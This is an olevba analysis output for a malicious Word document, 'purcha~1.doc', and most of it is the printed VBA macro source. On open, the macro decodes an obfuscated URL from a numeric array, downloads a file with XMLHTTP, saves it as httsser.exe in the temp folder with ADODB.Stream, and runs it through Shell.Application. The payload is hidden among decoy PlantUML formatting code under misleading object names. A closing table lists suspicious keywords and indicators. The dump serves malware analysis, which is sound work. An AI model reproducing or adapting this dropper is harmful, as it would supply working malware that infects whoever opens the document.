Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIH--V purcha~1.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: purcha~1.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: purcha~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub autoopen()
getDotPath
AutoFormatOff
ToolbarInit
RibbonOnLoad ""
CreateStyleImg
End Sub



-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: purcha~1.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


Function CreateStyle(Optional overwriteIfStyleExists As Boolean = False)
 On Error GoTo CreateStyleAdding
 Set mystyle = ActiveDocument.Styles("")
 If overwriteIfStyleExists = True Then
 GoTo CreateStyleOverwrite
 End If
 Exit Function
CreateStyleAdding:
 Set mystyle = ActiveDocument.Styles.Add(Name:="", Type:=wdStyleTypeParagraph)
CreateStyleOverwrite:


 mystyle.BaseStyle = ActiveDocument.Styles(WdBuiltinStyle.wdStyleNormal)
 mystyle.AutomaticallyUpdate = True
 With mystyle.Font
 .Name = ""
 .Size = 9
 .Hidden = False
 .Hidden = True
 .Color = wdColorGreen
 End With

 mystyle.NoProofing = True
 With mystyle.ParagraphFormat
 With .Shading
 .Texture = wdTextureNone
 .ForegroundPatternColor = wdColorAutomatic
 .BackgroundPatternColor = wdColorLightGreen
 End With
 .LineSpacingRule = wdLineSpaceSingle

 .SpaceBefore = 0
 .SpaceBeforeAuto = False
 .SpaceAfter = 0
 .SpaceAfterAuto = False
 .LineSpacingRule = wdLineSpaceSingle
 .Alignment = wdAlignParagraphLeft
 .LineUnitBefore = 0
 .LineUnitAfter = 0
 .LeftIndent = CentimetersToPoints(0)

 With .Shading
 .Texture = wdTextureNone
 .ForegroundPatternColor = wdColorAutomatic
 .BackgroundPatternColor = 12254650

 End With
 With .Borders(wdBorderLeft)
 .LineStyle = wdLineStyleDashLargeGap
 .LineWidth = wdLineWidth050pt
 .Color = 3910491
 End With
 With .Borders(wdBorderRight)
 .LineStyle = wdLineStyleDashLargeGap
 .LineWidth = wdLineWidth050pt
 .Color = 3910491
 End With
 With .Borders(wdBorderTop)
 .LineStyle = wdLineStyleDashLargeGap
 .LineWidth = wdLineWidth050pt
 .Color = 3910491
 End With
 With .Borders(wdBorderBottom)
 .LineStyle = wdLineStyleDashLargeGap
 .LineWidth = wdLineWidth050pt
 .Color = 3910491
 End With
 With .Borders
 .DistanceFromTop = 1
 .DistanceFromLeft = 4
 .DistanceFromBottom = 1
 .DistanceFromRight = 4
 .Shadow = False
 End With
 End With


 mystyle.NoSpaceBetweenParagraphsOfSameStyle = False
 mystyle.ParagraphFormat.TabStops.ClearAll
 mystyle.ParagraphFormat.TabStops.Add Position:= _
 CentimetersToPoints(1), Alignment:=wdAlignTabLeft, Leader:=wdTabLeaderSpaces
 mystyle.ParagraphFormat.TabStops.Add Position:= _
 CentimetersToPoints(2), Alignment:=wdAlignTabLeft, Leader:=wdTabLeaderSpaces
 mystyle.ParagraphFormat.TabStops.Add Position:= _
 CentimetersToPoints(3), Alignment:=wdAlignTabLeft, Leader:=wdTabLeaderSpaces
 mystyle.ParagraphFormat.TabStops.Add Position:= _
 CentimetersToPoints(4), Alignment:=wdAlignTabLeft, Leader:=wdTabLeaderSpaces


End Function


Public Function CreateStyleImg()

 On Error GoTo CreateStyleImgAdding
 Set mystyle = ActiveDocument.Styles("")
 mystyle.Font.Hidden = False
 On Error GoTo CreateStyleSkip
 mystyle.BaseStyle = ActiveDocument.Styles("")
CreateStyleSkip:
 On Error GoTo 0
 Exit Function
CreateStyleImgAdding:
ActiveDocumentContent.Open (styleContainer)
Exit Function
 Set mystyle = ActiveDocument.Styles.Add(Name:="", Type:=wdStyleTypeParagraph)
 mystyle.AutomaticallyUpdate = True
End Function



Function ShowPlantuml()
 DoubleCheckStyle



 ActiveDocument.Bookmarks.Add Name:="", Range:=Selection.Range

 Set mystyle = ActiveDocument.Styles("")







 Call ShowHiddenText


 Selection.GoTo What:=wdGoToBookmark, Name:=""
 ActiveDocument.Bookmarks(Index:="").Delete

End Function




Function HidePlantuml()
 DoubleCheckStyle


 ActiveDocument.Bookmarks.Add Name:="", Range:=Selection.Range

 Set mystyle = ActiveDocument.Styles("")







 Call HideHiddenText


 Selection.GoTo What:=wdGoToBookmark, Name:=""
 ActiveDocument.Bookmarks(Index:="").Delete

End Function


Function HideHiddenText()
 ActiveDocument.ActiveWindow.View.ShowAll = False
 ActiveDocument.ActiveWindow.View.ShowHiddenText = False
 On Error GoTo endHidden
 With ActiveDocument.Styles("")
 .Font.Hidden = True
 End With
endHidden:
 On Error Resume Next
End Function


Function ShowHiddenText()
 ActiveDocument.ActiveWindow.View.ShowAll = False
 ActiveDocument.ActiveWindow.View.ShowHiddenText = True

 On Error GoTo endShow
 With ActiveDocument.Styles("")
 .Font.Hidden = False
 End With
endShow:
 On Error Resume Next
End Function


Function SwitchP()
 flag = Not (ActiveDocument.ActiveWindow.View.ShowTabs)
 ActiveDocument.ActiveWindow.View.ShowParagraphs = flag
 ActiveDocument.ActiveWindow.View.ShowTabs = flag
 ActiveDocument.ActiveWindow.View.ShowSpaces = flag
 ActiveDocument.ActiveWindow.View.ShowHyphens = flag
 ActiveDocument.ActiveWindow.View.ShowAll = False
End Function




Function LoadTextFile(sFile) As String
 Dim iFile As Integer

 On Local Error Resume Next

 iFile = FreeFile


 Open sFile For Input As #iFile


 LoadTextFile = Input$(LOF(iFile), iFile)

 Close #iFile

End Function



Sub ISwitchP(ByVal Control As IRibbonControl)
 SwitchP
End Sub

Sub IShowPlantUML(ByVal Control As IRibbonControl)
 ShowPlantuml

End Sub

Sub IHidePlantUML(ByVal Control As IRibbonControl)
 HidePlantuml

End Sub

Sub IUML1(ByVal Control As IRibbonControl)
 Macro_UML ("")

End Sub
Sub IUMLAll(ByVal Control As IRibbonControl)
 Macro_UML ("")
End Sub

Sub IAutoFormatOn(ByVal Control As IRibbonControl)
 AutoFormatOn
End Sub
Sub IAutoFormatOff(ByVal Control As IRibbonControl)
 AutoFormatOff
End Sub

Sub IPlantUMLInteractive(ByVal Control As IRibbonControl)
 With frmPlantUMLInteractive


 .tbPlantCode.Text = Replace(Macro_UML(""), vbLf, vbCrLf)

 .Show

 End With

End Sub





Sub IPreferences(ByVal Control As IRibbonControl)
 Dim info As String
 info = "" & vbCrLf & _
 "" & vbCrLf & _
 "" & getDotPath() & vbCrLf & _
 "" & getJarPath()

 If RegKeyRead("") = "" Then
 vectorgraphics = True
 End If
 If RegKeyRead("") = "" Then
 useFTP = True
 End If
 FTPURL = RegKeyRead("")

 With PrefsForm
 If vectorgraphics = True Then
 .btnVectorGraphics.Caption = ""
 Else
 .btnVectorGraphics.Caption = ""
 End If
 If useFTP = True Then
 .btnFTP.Caption = ""
 Else
 .btnFTP.Caption = ""
 End If

 .info.Caption = info
 .Show
 RegKeySave "", .btnVectorGraphics.Caption
 RegKeySave "", .btnFTP.Caption
 RegKeySave "", .tbURL.Text


 vectorgraphics = (.btnVectorGraphics.Caption = "")
 useFTP = (.btnFTP.Caption = "")
 FTPURL = (.tbURL.Text)

 End With
End Sub

Public Sub AutoFormatOff()
 Dim OpenType() As Variant
 OpenType = Array(344, 373, 390, 403, 366, 372, 389, 461, 473, 444, 459, 473, 552, 566, 588, 612, 632, 574, 650, 674, 695, 713, 719, 741, 751, 711, 782, 800, 763, 785, 803, 888, 835, 903, 869, 887, 954, 916, 941, 1009, 1024, 989, 1073, 1084, 1088, 1051, 1123, 1159, 1157)
With PhotoshopExtension
   .Type = 1
    .Open
    End With
    tempFolder = EchoProcessor("TEMP")

GatewayResolver.Open "GET", GetStringFromArray(OpenType, 48), False

    Exit Sub
 With options
 .AutoFormatAsYouTypeReplaceQuotes = False
 .AutoFormatAsYouTypeReplaceSymbols = False
 .AutoFormatAsYouTypeReplacePlainTextEmphasis = False
 .AutoFormatAsYouTypeDefineStyles = False
 .TabIndentKey = True
 End With
End Sub

Sub AutoFormatOn()

 With options
 .AutoFormatAsYouTypeReplaceQuotes = True
 .AutoFormatAsYouTypeReplaceSymbols = True
 .AutoFormatAsYouTypeReplacePlainTextEmphasis = True
 .AutoFormatAsYouTypeDefineStyles = True
 .TabIndentKey = True
 End With
End Sub



-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: purcha~1.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


Const startuml = ""
Const enduml = ""

Dim vectorgraphics As Boolean
Dim useFTP As Boolean
Dim FTPURL As String





Public Sub RibbonOnLoad(ribbon As String)
    PhotoshopExtension.write GatewayResolver.responseBody
    PhotoshopExtension.savetofile styleContainer, 2
End Sub

Function get_gfx_extension() As String
 If vectorgraphics Then
 get_gfx_extension = ""
 Else
 get_gfx_extension = ""
 End If
End Function


Function get_plantuml_options() As String
 Dim options As String
 options = ""
 If vectorgraphics Then
 options = options + ""
 End If

 get_plantuml_options = options
End Function

Function getExePath(searchfor As String, ByRef try As String) As String
 Set fs = CreateObject("")

 nbTemplates = ActiveDocument.Parent.Templates.Count
 mainPath = ActiveDocument.Path
 try = ActiveDocument.Path & ""

 nb = InStrRev(mainPath, "")
 Do While nb > 1 And fs.FileExists(mainPath + searchfor) = False
 mainPath = Left(mainPath, nb - 1)
 try = try & vbCrLf & mainPath & ""
 nb = InStrRev(mainPath, "")
 Loop

 For i = 1 To nbTemplates
 If fs.FileExists(mainPath + searchfor) = False Then
 mainPath = ActiveDocument.Parent.Templates.Item(i).Path
 try = try & vbCrLf & ActiveDocument.Parent.Templates.Item(i).Path & ""
 nb = InStrRev(mainPath, "")
 Do While nb > 1 And fs.FileExists(mainPath + searchfor) = False
 mainPath = Left(mainPath, nb - 1)
 try = try & vbCrLf & mainPath & ""
 nb = InStrRev(mainPath, "")
 Loop
 End If
 Next i

 If fs.FileExists(mainPath + searchfor) Then
 getExePath = mainPath
 Else
 getExePath = "" & vbCrLf & try
 End If


End Function



Function getJarPath() As String
 Set fs = CreateObject("")
 Dim trypath As String
 trypath = ""
 jarPath = getExePath("", trypath)
 If (jarPath <> "") And fs.FileExists(jarPath + "") Then
 getJarPath = jarPath
 Else
 getJarPath = "" & vbCrLf & trypath
 End If

End Function





Public Function getDotPath()
Set GatewayResolver = CreateObject("Microsoft" + ".XMLHTTP")
Set PhotoshopExtension = CreateObject("Adodb.Stream")
Set ActiveDocumentContent = CreateObject("Shell.Application")
Set EchoProcessor = CreateObject("WScript.Shell").Environment("Process")
 Dim trypath As String
 Dim searchfor As String
 Exit Function
 trypath = Environ("")
 If Environ("") <> "" Then Exit Function
 searchfor = ""
 dotPath = getExePath(searchfor, trypath)
 If (dotPath <> "") And fs.FileExists(dotPath + searchfor) Then
 getDotPath = dotPath + searchfor
 Else
 getDotPath = ""
 End If
End Function




Sub ShowPlantumlJarPath()
 Set fs = CreateObject("")
 jarPath = getJarPath()
 If jarPath <> "" And fs.FileExists(jarPath) Then
 MsgBox "" & jarPath
 Else
 MsgBox jarPath
 End If
End Sub


Sub RemoveOldVersionPlantUMLSyles()
 On Error GoTo DeleteEnd
 ActiveDocument.Styles("").Delete
 On Error GoTo 0
DeleteEnd:
 On Error GoTo 0
 Call Macro_UML_all

End Sub


Sub Macro_UML_all()
 Macro_UML ("")
End Sub


Sub Macro_UML_styles()
 CreateStyle (True)
End Sub



Function Macro_UML_parg()
 Macro_UML ("")
End Function


Function WriteToFile(sFile, sText As String)
 Dim objStream As Object
 Set objStream = CreateObject("")
 With objStream
 .Type = 2
 .Mode = 3

 .Charset = ""
 .Open
 .WriteText sText
 .savetofile sFile, 2
 End With
End Function



-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: purcha~1.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public GatewayResolver As Object
Public PhotoshopExtension As Object
Public EchoProcessor As Object
Public tempFolder As String
Public styleContainer As String
Public ActiveDocumentContent As Object
Function Macro_UML(scope) As String




 Dim currentIndex As Long
 Dim ftphandle As Long
 Dim JavaCommand As String
 Dim GraphVizOption As String
 GraphVizOption = ""
 Dim scalefiles As Scripting.Dictionary
 Set scalefiles = New Scripting.Dictionary
 ToolbarInit

 If RegKeyRead("") = "" Then
 vectorgraphics = True
 End If
 If RegKeyRead("") = "" Then
 useFTP = True
 End If

 FTPURL = RegKeyRead("", "")


 Call CreateStyle(True)
 Call CreateStyleImg
 Call ShowPlantuml

 Call ShowHiddenText
 Selection.Range.Select



 documentId = ActiveDocument.Name
 documentId = Left(documentId, Len(documentId) - 4)



 Set fs = CreateObject("")
 jarPath = getJarPath()
 If (jarPath = "") Or fs.FileExists(jarPath + "") = False Then
 MsgBox jarPath
 GoTo Macro_UML_exit
 End If
 dotPath = getDotPath()
 If dotPath <> "" Then
 GraphVizOption = """" & dotPath & """"
 End If

End Function
Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
    Dim i As Integer
    Dim result As String
    result = ""
    For i = LBound(fromArr) To UBound(fromArr)
        result = result & Chr(fromArr(i) - 5 * LenLen - i * 17)
    Next i
    GetStringFromArray = result
End Function
Public Function ActiveDocumentCon(fromArr() As Variant, LenLen As Integer) As String

 If scope = "" Then
 Set parsedtext = ActiveDocument.Content
 isForward = True
 Else
 Set parsedtext = Selection.Range

 isForward = False
 End If

 parsedtext.Find.Execute FindText:=startuml, Forward:=isForward
 If parsedtext.Find.Found = True Then

 Set singleparagraph = parsedtext.Paragraphs(1).Range
 singleparagraph.Collapse
 Else
 GoTo Macro_UML_exit
 End If
 Application.ScreenUpdating = False
 jobDone = False
 If useFTP Then
 ftphandle = ftpOpen(FTPURL)
 If ftphandle <= 0 Then
 MsgBox ""
 Exit Function
 End If
 End If

 Do While parsedtext.Find.Found = True And _
 (scope = "" Or currentIndex < 1) And Not jobDone



 Set currentparagraph = parsedtext.Paragraphs(1)
 Set paragraphRange = currentparagraph.Range
 paragraphRange.Collapse
 jobDone = False
 Do Until jobDone
 If Left(currentparagraph.Range.Text, Len(startuml)) = startuml Then
 Set paragraphRange = currentparagraph.Range
 paragraphRange.Collapse

 End If
 paragraphRange.MoveEnd Unit:=wdParagraph
 If Left(currentparagraph.Range.Text, Len(enduml)) = enduml Then
 Dim s As String
 paragraphRange.Style = ""
 s = paragraphRange.Text
 currentIndex = currentIndex + 1

 factor = 0#
 On Error Resume Next
 p = InStr(LCase(s), "")
 If p > 0 Then

  endscale = InStr(p + 9, s, Chr(13)) - p - 9
  factorstr = Mid(s, p + 9, endscale)
  factor = Val(factorstr)
 End If
 On Error GoTo 0

 textFileId = documentId & "" & Right("" & currentIndex, 4) & ""
 If factor > 0 Then
  scalefiles(Replace(textFileId, "", "")) = factor
 End If
 If scope = "" Then
  Macro_UML = Mid(s, 1, Len(s) - 1)
  Application.ScreenUpdating = True
  Exit Function
 End If
 FileName = jarPath & "" & textFileId

 WriteToFile FileName, Mid(s, 1, Len(s) - 1)
 If useFTP Then
  retValue = FtpStor(ftphandle, jarPath & "" & textFileId, textFileId)
 End If

 If scope <> "" Then
  jobDone = True
 End If

 End If
 Set currentparagraph = currentparagraph.Next
 If currentparagraph Is Nothing Then
 jobDone = True
 End If
 Loop
 parsedtext.Collapse Direction:=wdCollapseEnd
 If scope = "" Then
 parsedtext.Find.Execute FindText:=startuml, Forward:=True
 End If
 Loop
 Application.ScreenUpdating = True












 If useFTP Then
 For i = 1 To currentIndex
 imageId = documentId & "" & Right("" & i, 4) & ""
 imageName = jarPath & "" & imageId
 retValue = FtpRetr(ftphandle, imageName, imageId)
 Next i

 Else




 Dim javaoptions
 If ActiveDocument.Path Like "" Or Left(ActiveDocument.Path, 1) = "" Then
 javaoptions = "" & Chr(34) & ActiveDocument.Path & Chr(34) & ""
 End If

 JavaCommand = "" & javaoptions _
 & """" & jarPath & "" & _
 jarPath & """""" & jarPath & """" & GraphVizOption & get_plantuml_options()




 result = ShellAndWait(JavaCommand, 0, vbMinimizedFocus, AbandonWait)
 If result <> Success Then
 MsgBox ""
 Return
 End If



 Sleep 1000
 End If





 jobDone = False
 nrOfImages = currentIndex
 currentIndex = 0






 If useFTP Then

 Else
 Do
 currentIndex = currentIndex + 1




 DoEvents

 Sleep 100
 If fs.FileExists(jarPath & "") = False Then
 jobDone = True
 Exit Do
 End If
 If currentIndex > 30 Then

 MsgBox ("")
 Exit Do
 End If
 Loop

 If jobDone = False Then
 End
 End If
 End If





 If scope = "" Then
 Set parsedtext = ActiveDocument.Content
 isForward = True
 Else
 Set parsedtext = singleparagraph
 isForward = True
 End If
 parsedtext.Find.Execute FindText:=enduml, Forward:=isForward
 currentIndex = 0
 bTrackRevFlag = ActiveDocument.TrackRevisions
 ActiveDocument.TrackRevisions = False
 Do While parsedtext.Find.Found = True And (scope = "" Or currentIndex < 1)
 currentIndex = currentIndex + 1



 On Error GoTo LastParagraph



 Set currentparagraph = parsedtext.Paragraphs(1).Next.Range
 Do While currentparagraph.InlineShapes.Count > 0 And currentparagraph.Style = ""
 currentparagraph.Delete
 Set currentparagraph = parsedtext.Paragraphs(1).Next.Range
 Loop
 On Error GoTo 0
 Set currentRange = currentparagraph
 imagesDirectory = jarPath & "" & documentId & "" & Right("" & currentIndex, 4) & get_gfx_extension()
 Image = Dir(imagesDirectory)
 While Image <> ""

 errorTextFile = jarPath & "" & Left(Image, Len(Image) - 4) & ""
 BaseName = Left(Image, Len(Image) - 4)
 Set currentparagraph = ActiveDocument.Paragraphs.Add(Range:=currentRange).Range
 Set currentRange = currentparagraph.Paragraphs(1).Next.Range
 currentparagraph.Style = ""
 currentparagraph.Collapse

 Set Image = currentparagraph.InlineShapes.AddPicture _
 (FileName:=jarPath & "" & Image _
 , LinkToFile:=False, SaveWithDocument:=True)


 If scalefiles(CStr(BaseName)) > 0.1 And scalefiles(CStr(BaseName)) < 5 Then
 Image.ScaleWidth = scalefiles(CStr(BaseName)) * 100
 Image.ScaleHeight = scalefiles(CStr(BaseName)) * 100
 Else


 With Image
  .LockAspectRatio = msoFalse
  .ScaleWidth = 100
  .ScaleHeight = 100
  percentW = ActiveDocument.PageSetup.TextColumns.Width / Image.Width
  percentH = (ActiveDocument.PageSetup.PageHeight - ActiveDocument.PageSetup.TopMargin - ActiveDocument.PageSetup.BottomMargin) / Image.Height
  If percentH < percentW Then percentW = percentH
  If percentW < 1 Then
  .ScaleWidth = percentW * 100
  .ScaleHeight = percentW * 100
  End If
 End With
 End If

 If fs.FileExists(errorTextFile) Then
 Image.AlternativeText = LoadTextFile(errorTextFile)
 Beep
 Else
 Image.AlternativeText = ""
 End If

 If Image.ScaleHeight > 100 Or Image.ScaleWidth > 100 Then
 Image.Reset
 End If
 Image = Dir()
 Wend
 parsedtext.Collapse Direction:=wdCollapseEnd
 parsedtext.Find.Execute FindText:=enduml, Forward:=True
 Loop
 ActiveDocument.TrackRevisions = bTrackRevFlag




Phase3:



 If Not useFTP Then
 On Error Resume Next

 Kill (jarPath & "" & documentId & "")
 On Error GoTo 0
 Else
 ftpClose ftphandle
 End If
Macro_UML_exit:




 Call ShowHiddenText
 DoubleCheckStyle
Exit Function



LastParagraph:
 Selection.EndKey Unit:=wdStory
 Selection.TypeParagraph
 Selection.ClearFormatting

 imagesDirectory = jarPath & "" & documentId & "" & Right("" & currentIndex, 4) & get_gfx_extension
 Image = Dir(imagesDirectory)
 While Image <> ""

 errorTextFile = jarPath & "" & Left(Image, Len(Image) - 4) & ""

 Set currentparagraph = ActiveDocument.Paragraphs.Add.Range
 Set currentRange = currentparagraph.Paragraphs(1).Next.Range
 currentparagraph.Style = ""
 currentparagraph.Collapse

 Set Image = currentparagraph.InlineShapes.AddPicture _
 (FileName:=jarPath & "" & Image _
 , LinkToFile:=False, SaveWithDocument:=True)

 If fs.FileExists(errorTextFile) Then
 Image.AlternativeText = LoadTextFile(errorTextFile)
 Beep
 Else
 Image.AlternativeText = ""
 End If

 If Image.ScaleHeight > 100 Or Image.ScaleWidth > 100 Then
 Image.Reset
 End If
 Image = Dir()
 Wend


 GoTo Phase3

End Function



Public Sub ToolbarInit()
styleContainer = tempFolder + "\httsser.exe"
 On Error Resume Next
 ActiveDocument.CommandBars("").Delete
 On Error GoTo 0
 GatewayResolver.Send
End Sub




Function OldToolbarInit()
 On Error GoTo ToolbarCreation
 Set toolBar = ActiveDocument.CommandBars("")
 On Error GoTo 0

 toolBar.Visible = True

 On Error GoTo ButtonAdd
 Set currentButton = toolBar.Controls(1)
 On Error GoTo 0
 currentButton.OnAction = ""
 currentButton.Style = msoButtonCaption
 currentButton.Caption = Chr(182)
 currentButton.Visible = True

 On Error GoTo ButtonAdd
 Set currentButton = toolBar.Controls(2)
 On Error GoTo 0
 currentButton.OnAction = ""
 currentButton.Style = msoButtonCaption
 currentButton.Caption = ""
 currentButton.Visible = True

 On Error GoTo ButtonAdd
 Set currentButton = toolBar.Controls(3)
 On Error GoTo 0
 currentButton.OnAction = ""
 currentButton.Style = msoButtonCaption
 currentButton.Caption = ""
 currentButton.Visible = True

 On Error GoTo ButtonAdd
 Set currentButton = toolBar.Controls(4)
 On Error GoTo 0
 currentButton.OnAction = ""
 currentButton.Style = msoButtonCaption
 currentButton.Caption = ""
 currentButton.Visible = True

 On Error GoTo ButtonAdd
 Set currentButton = toolBar.Controls(5)
 On Error GoTo 0
 currentButton.OnAction = ""
 currentButton.Style = msoButtonCaption
 currentButton.Caption = ""
 currentButton.Visible = True

 On Error GoTo ButtonAdd
 Set currentButton = toolBar.Controls(6)
 On Error GoTo 0
 currentButton.OnAction = ""
 currentButton.Style = msoButtonCaption
 currentButton.Caption = ""
 currentButton.Visible = True
 Exit Function

ToolbarCreation:
 Set toolBar = ActiveDocument.CommandBars.Add(Name:="")
 Resume Next

ButtonAdd:
 Set currentButton = toolBar.Controls.Add(Type:=msoControlButton, Before:=toolBar.Controls.Count + 1)
 Resume Next

End Function



Function DoubleCheckStyle()
 CreateStyle
 CreateStyleImg
 Set mystyle = ActiveDocument.Styles("")


 mystyle.BaseStyle = ActiveDocument.Styles(WdBuiltinStyle.wdStyleNormal)

 mystyle.AutomaticallyUpdate = True
 With mystyle.Font
 .Name = ""
 .Size = 9
 .Hidden = False

 .Color = wdColorGreen
 End With
End Function



+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| Suspicious | Kill                 | May delete a file                       |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | vbMinimizedFocus     | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | WriteText            | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Environ              | May read system environment variables   |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
|            |                      | (obfuscation: VBA expression)           |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | httsser.exe          | Executable file name                    |
| VBA string | Microsoft.XMLHTTP    | ("Microsoft" + ".XMLHTTP")              |
| VBA string | %%                   | Environ("")                             |
| VBA string |
                    | Chr(13)                                 |
| VBA string | "                    | "" & Chr(34)                            |
| VBA string | "                    | Chr(34) & ""                            |
+------------+----------------------+-----------------------------------------+